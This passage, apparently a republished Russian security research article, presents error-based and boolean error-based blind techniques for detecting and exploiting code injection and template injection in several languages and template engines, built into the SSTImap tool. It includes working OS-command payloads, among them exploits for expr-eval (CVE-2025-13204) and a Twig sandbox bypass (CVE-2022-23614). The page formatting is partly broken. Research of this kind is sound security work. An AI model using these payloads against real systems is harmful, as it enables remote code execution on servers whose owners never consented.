Как и в случае с SpEL, вы можете получить код возврата команд ОС с помощью waitFor():```java @java.lang.Runtime@getRuntime().exec("…").waitFor()==0

root@kitploit:~
Стоит также отметить, что **OGNL** имеет необычный способ неявного преобразования типов.
Помимо порядка операций, на преобразования влияют и ранее вычисленные значения.
В то время как нагрузка вида `1 * (123 + 456) + "abc" + 1 * (123 + 456)` даст ожидаемый результат `"579abc579"`, похожая нагрузка `(123 + 456) + "abc" + (123 + 456)` начнёт преобразовывать целые числа в строки, возвращая `"579abc123456"`

![OGNL error](https://assets.kitploit.com/production/public/readmes/10936/829054aaeaae0f907897da75c55fa91efe0ae24ee029416675d3812e29a2bc8f.png)

Основная нагрузка для **Freemarker** уже была создана Николя Вердье [^10]:```java
${1/((…)?string('1','0')?eval)}

Простые пары полезных нагрузок использовались для обнаружения, так как шаблонизатор уже подтверждён синтаксисом основной полезной нагрузки:

  • 1.0 == 1.0 и 1.0 == 0.1
  • 2 > 1 и 1 > 2

Чтобы проверить результаты выполнения команд ОС, я решил использовать технику, ранее применённую для Twig:```java "freemarker.template.utility.Execute"?new()(" … && echo SSTIMAP")?chop_linebreak?ends_with("SSTIMAP")

root@kitploit:~
![Freemarker error](https://assets.kitploit.com/production/public/readmes/10936/7f9f4c5cbe3be9e222573b081dea6baccb809725ba890899f76741fe4b820f08.png)

Для шаблонизатора Velocity можно использовать директивы `#if` и `#include`:

- `#if(false)#include("Y:/A:/true")#end` и `#if(true)#include("Y:/A:/false")#end`
- `#set($o=1.0)#if($o.equals(0.1))#include("Y:/A:/xxx")#end` и `#set($o=1.0)#if($o.equals(1.0))#include("Y:/A:/xxx")#end`

Чтобы проверить выполнение команд ОС, можно модифицировать обычную полезную нагрузку для инъекции в отрендеренный вывод:```java
…#set($res=$proc.exitValue())#if($res != 0)#include("Y:/A:/xxx")#end

Ошибка Velocity

Ruby

В Ruby нет прямого способа преобразовать значения из целочисленного типа в логический (Boolean). Из-за этого пейлоад становится немного сложнее: 1/(!!( ... )&&1||0)

Эти пары пейлоадов можно использовать для подтверждения инъекции Ruby:

  • (2 + 3).to_s == '5' и (2 + 5).to_s == '3'
  • '2'.length == 1 и '1'.length == 2

Результаты выполнения кода можно проверять с помощью !!eval( ... ), а успешность выполнения команд ОС — с помощью system( … ), которая не используется для отображаемых инъекций, поскольку не возвращает сам вывод.

NodeJS

В NodeJS деление на ноль не вызывает ошибку, поэтому пейлоад вместо этого использует доступ к атрибутам либо undefined, либо существующего элемента списка: [""][0 + !( … )]["length"]

Эти две пары используются для подтверждения того, что языком инъекции является NodeJS:

  • typeof(1) + 2 == "number2" и typeof(2) + 1 == "number2"
  • parseInt("5x") == 5 и parseInt("x5") == 5

Выполнение кода можно проверить напрямую с помощью eval(), а код возврата выполненных команд ОС в NodeJS версии 5.7 и выше — с помощью следующего пейлоада:```node require('child_process').spawnSync( … , options={shell:true}).status===0

root@kitploit:~
### Elixir
**Elixir** позволяет использовать деление на ноль как оракул, но требует явного преобразования в целое число.
В результате мы можем использовать пейлоад: `1/(( … )&&1||0)`

Мы можем проверить синтаксис **Elixir** с помощью следующих пар пейлоадов:

- `String.length("2") == 1` и `String.length("1") == 2`
- `is_boolean(false) == true` и `is_boolean(true) == false`

Проверка результатов выполнения `eval()` и сравнение кода возврата команды ОС могут быть выполнены напрямую с помощью этих пейлоадов: `elem(Code.eval_string( … ), 0)` и `elem(System.shell( … ), 1) == 0`

### Универсальное обнаружение
Все языки программирования имеют собственные имена функций, поэтому невозможно найти функцию, которая работала бы для универсального обнаружения.
Несмотря на это, почти все языки используют одинаковый синтаксис для базовых математических операций.
Это позволяет использовать синтаксические ошибки для универсального обнаружения:

- `(3*4/2)` и `3*)2(/4`
- `((7*8)/(2*4))` и `7)(*)8)(2/(*4`

Этот метод универсального обнаружения инъекций кода и SSTI может быть автоматизирован без необходимости отдельно добавлять поддержку всех языков программирования и шаблонизаторов, что расширяет возможности быстрого обнаружения инъекций кода и SSTI с использованием подхода «чёрного ящика».

![Инъекция EEx, обнаруженная с помощью SSTImap с использованием пейлоада универсального обнаружения](https://assets.kitploit.com/production/public/readmes/10936/afb92860458978f4b8b74ec62dade318c4777f4833fa4896d3251476e41ffe46.png)

### Разработка пейлоадов
Чтобы создавать пейлоады после обнаружения слепой инъекции, мы можем проверять типичные ошибки деления на ноль или обращения к элементам, отсутствующим в списках или словарях.
Кроме того, для известных шаблонизаторов мы можем использовать операторы `if` для условного вызова произвольных ошибок.

Для автоматизированного обнаружения пары пейлоадов могут создаваться с использованием уникальных имён функций, особенностей синтаксиса или неявных преобразований типов.

Для преобразования значений в нужный тип мы можем использовать специальные функции преобразования или операцию, характерную для нужного типа (сложение с 0 для чисел, конкатенацию с пустой строкой для строк, логическое И с `true` для Boolean и т.д.). Кроме того, значения могут быть преобразованы в Boolean с помощью двойного отрицания, а затем в целое число с использованием условий, например тернарного оператора.

Чтобы проверить успешность выполнения команды ОС, мы можем сравнить код возврата с нулём или проверить, что вывод заканчивается строкой, которую мы передали.

## Практическое применение
Все техники и пейлоады, разработанные в ходе этого исследования, были добавлены в открытый инструмент SSTImap для практического применения.
Более того, я применял эти техники в своих собственных задачах, что позволило мне получить результат в большинстве случаев, которые стали зацепками для этого исследования.

Среди этих случаев есть примеры тестирования реальных веб-приложений, а также пейлоады, расширяющие возможности эксплуатации известных уязвимостей.

### expr-eval (CVE-2025-13204)
Первым примером применения новых техник к реальной цели была уязвимость инъекции кода в популярном конструкторе ботов для Discord.
Один из тегов шаблонизатора позволял вычислять математические выражения с помощью уязвимого NodeJS-модуля **expr-eval**, но результат преобразовывался в целое число, что изначально мешало мне получить доступ к результату внедрённого кода.

Я модифицировал известный пейлоад для доступа к конструктору функций, не нарушая синтаксис шаблонизатора, используемого для запуска уязвимой функциональности.
После этого я применил технику Error-Based и использовал `require()` для вызова ошибки, содержащей результат выполнения кода:```node
{ ███████[ Object = constructor; a() = 7*7; d = Object.getOwnPropertyDescriptor( Object.getPrototypeOf(a), 'constructor'); c=d.value; f=c("return process.mainModule.require( process.mainModule.require('child_process').execSync('id').toString())"); f() ] }

expr-eval error containing the results

В этом случае техника, основанная на ошибках (Error-Based), позволила мне получить вывод из слепой инъекции кода в реальном приложении, которое я тестировал в то время.

Пэйлоад для эксплуатации инъекции кода в модуле expr-eval для NodeJS был добавлен в качестве дополнительного модуля для SSTImap, который можно установить отдельно. Этот модуль содержит пэйлоады для всех четырёх техник эксплуатации инъекции кода, поддерживаемых SSTImap.

JSONPath Plus (CVE-2025-1302)

Ещё одним примером практического применения новых техник является возможность эксплуатации CVE-2025-1302 без ограничений, вызванных контекстом инъекции. Ранние пэйлоады для отображаемой инъекции (rendered) устанавливали атрибуты корневого объекта, но такой подход препятствовал отображаемой эксплуатации во многих контекстах инъекции и требовал угадывания остальных.

Благодаря техникам, основанным на ошибках (Error-Based), вывод стал доступен во всех контекстах при подробном выводе ошибок. Использование слепой техники Boolean Error-Based Blind позволило более эффективно эксплуатировать слепые инъекции и открыло возможности для быстрой эксфильтрации данных.

Twig (CVE-2022-23614)

Уязвимые версии шаблонизатора Twig позволяют обойти песочницу, передав строку с именем PHP-функции в качестве параметра фильтру |sort. Этот фильтр преобразует вывод функции в число, которое определяет новый порядок двух элементов в массиве.

В PHP функция system() возвращает только первую строку вывода, но этого достаточно, чтобы повлиять на итоговое число и порядок элементов массива, показывая, была ли наша команда ОС выполнена успешно. Мы можем сравнить первый элемент с ожидаемым значением, чтобы определить, поменялись ли элементы местами, и понять, какое число выдала наша команда. В результате мы получаем следующий пэйлоад:```php {% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %} {{ 1 / ([" … >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }}

root@kitploit:~
В этот раз Boolean Error-Based Blind расширяет возможности слепого обхода песочницы в шаблонизаторе **Twig**, потенциально позволяя извлекать вывод побитово.

Мы также можем заметить, что PHP-функции вроде `system()` и `passthru()` выводят результаты напрямую на страницу, что позволяет перехватывать их с помощью `ob_start()`.

В качестве второго аргумента `ob_start()` принимает имя функции, которая будет вызвана с нашим выводом в качестве аргумента.
Это позволяет использовать `call_user_func()` для эксфильтрации вывода на основе ошибок.

Чтобы вызвать нашу функцию и спровоцировать ошибку, нам нужно вызвать `ob_end_flush()` без аргументов.
Для этого можно использовать `call_user_func_array()` с пустым массивом.
Наш финальный пейлоад:```php
{% set a = ["error_reporting", "1"]|sort("ini_set") %}
{% set b = ["ob_start", "call_user_func"]|sort("call_user_func") %}
{{ ["ls", 0]|sort("system") }}
{% set a = ["ob_end_flush", []]|sort("call_user_func_array")%}

Dust.JS

Кроме того, хотелось бы упомянуть полезные нагрузки для шаблонизатора Dust.JS. Техники Error-Based и Boolean Error-Based Blind с полезными нагрузками, основанными на Code Injection для NodeJS, позволяют более эффективно эксплуатировать слепой SSTI, а также получать результаты при наличии подробного вывода ошибок на целевом сайте.

После этого я решил исследовать возможность получения результата во время рендеринга инъекции путём добавления переменной в контекст шаблона. Сначала я попробовал использовать Prototype Pollution, но это вызывало ошибки во время динамической генерации кода, поэтому мне пришлось найти объект контекста, в который можно внедрить новую переменную. Для этого я применил технику, основанную на Error-Based, и изучил глобальные переменные.

Я нашёл переменную context, у которой был атрибут global, содержащий переменные, передаваемые в шаблон. Добавление нового атрибута к context.global позволило мне получить результат:```node {@if cond="context.global.sstimap='test'"}{/if}{sstimap}

root@kitploit:~
Этот пример показывает возможность использования техники Error-Based для изучения контекста внедрения при разработке пейлоадов с использованием подхода «чёрного ящика».

## Выводы
В рамках данного исследования были разработаны две новые техники для Code Injection и SSTI.
Использование техники **Error-Based** позволяет получить результаты слепого внедрения, если пользователю отображаются подробные сообщения об ошибках.
Техника **Boolean Error-Based Blind** значительно ускоряет эксплуатацию слепых внедрений, поскольку устраняет задержки, обычно используемые в технике **Time-Based Blind**.

Для обеих новых техник были созданы пейлоады, позволяющие эксплуатировать Code Injection и SSTI на шести языках программирования.

Кроме того, были представлены контекстно-зависимые пейлоады для универсального обнаружения Code Injection и SSTI, что позволило автоматизировать обнаружение слепых внедрений без проверки всех возможных языков, что ранее считалось невозможным.

Продемонстрированные техники доказывают важность документирования всех известных техник эксплуатации даже для, казалось бы, очевидных уязвимостей.
Аналогичный подход долгое время использовался в техниках SQL Injection, однако за 10 лет с момента открытия SSTI не было упоминаний техники **Error-Based** и задокументированных пейлоадов.
Code Injection сам по себе почти не имеет документации, что препятствовало обнаружению новых фундаментальных техник.

Это исследование доказало потенциал обнаружения новых техник даже для хорошо известных уязвимостей.
Для более эффективной разработки техник следует создать репозиторий знаний, содержащий техники и приёмы для исследователей, что позволило бы документировать знания о разработке пейлоадов и необычных особенностях различных систем, даже если эти знания не имеют прямого применения для эксплуатации систем.

В заключение хотелось бы отметить перспективные направления для дальнейших исследований.
Значительным улучшением для техник **Boolean Error-Based Blind** и **Time-Based Blind** стали бы пейлоады для побитовой эксфильтрации вывода, аналогично соответствующим техникам для SQL Injection.
Кроме того, исследование возможностей тестирования **OAST** и применения техники **Time-Based Blind** с использованием особенностей шаблонизаторов позволило бы устранить зависимость этих техник от ОС и доступных бинарных файлов на целевом сервере.

## Ссылки
[^1]: https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf
[^2]: https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf
[^3]: https://github.com/vladko312/SSTImap
[^4]: https://github.com/vladko312/extras
[^5]: https://github.com/epinna/tplmap/
[^6]: https://github.com/linkedin/dustjs/wiki/Dust-Tutorial
[^7]: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
[^8]: https://gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afae8db6456
[^9]: https://github.com/sqlmapproject/sqlmap/wiki/Techniques
[^10]: https://gist.github.com/n1nj4sec/5e3fffdfa322f4c23053359fc8100ab9
Скачать инструмент